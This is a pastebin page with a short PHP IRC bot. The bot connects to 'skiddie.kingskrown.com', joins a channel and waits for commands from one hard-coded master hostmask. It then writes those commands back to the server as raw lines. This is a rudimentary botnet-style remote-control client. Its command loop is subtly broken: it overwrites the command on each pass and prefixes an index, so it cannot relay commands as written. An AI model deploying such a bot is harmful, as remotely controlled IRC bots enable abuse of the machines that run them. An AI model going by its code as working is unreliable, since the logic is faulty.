All pastes #960427 Raw Edit

Someone

public text v1 · immutable
#960427 ·published 2008-03-28 02:33 UTC
rendered paste body
<? 
function phpbot($server, $port, $user, $nick, $realname, $channel) { 
  $sockname = fsockopen($server, $port, $errno, $errstr) or exit("$errno $errstr"); 
  set_time_limit(0); 
  while(1) {
    $repeat = 1; 
    while ($sockread = fgets($sockname, 512)) { 
      if ($sockread) { 
        $sockread = explode(" ", $sockread); 
        if ($repeat == 1) {
          fwrite($sockname, "USER $user x x :$realname\n"); 
          fwrite($sockname, "NICK $nick\n"); 
        }
        if ($sockread[0] == "PING") { 
          fwrite($sockname, "PONG :$sockread[1]\n"); 
        } 
        if ($sockread[1] == "001") { 
          fwrite($sockname, "JOIN $channel\n"); 
        } 
        if ($sockread[1] == "PRIVMSG") {
          if ($sockread[0] == ":Kingskrown!Kingskrown@127.0.0.1") {
            if ($sockread[3] == ":!$nick") {
              $rep = 4;
              while ($sockread[$rep]) {
                $cmd = "$rep $sockread[$rep]";
                $rep++;
              }
              fwrite($sockname, "$cmd\n");
            }
          }
        }
        if (fnmatch("43?", $sockread[1])) { 
          fwrite($sockname, "NICK $nick".str_repeat(mt_rand(0, 9), 3)."\n"); 
        } 
      }
      $repeat++; 
    } 
  } 
}
phpbot("skiddie.kingskrown.com","6667","phpbot","phpbot","phpbot","#kingskrown");
?>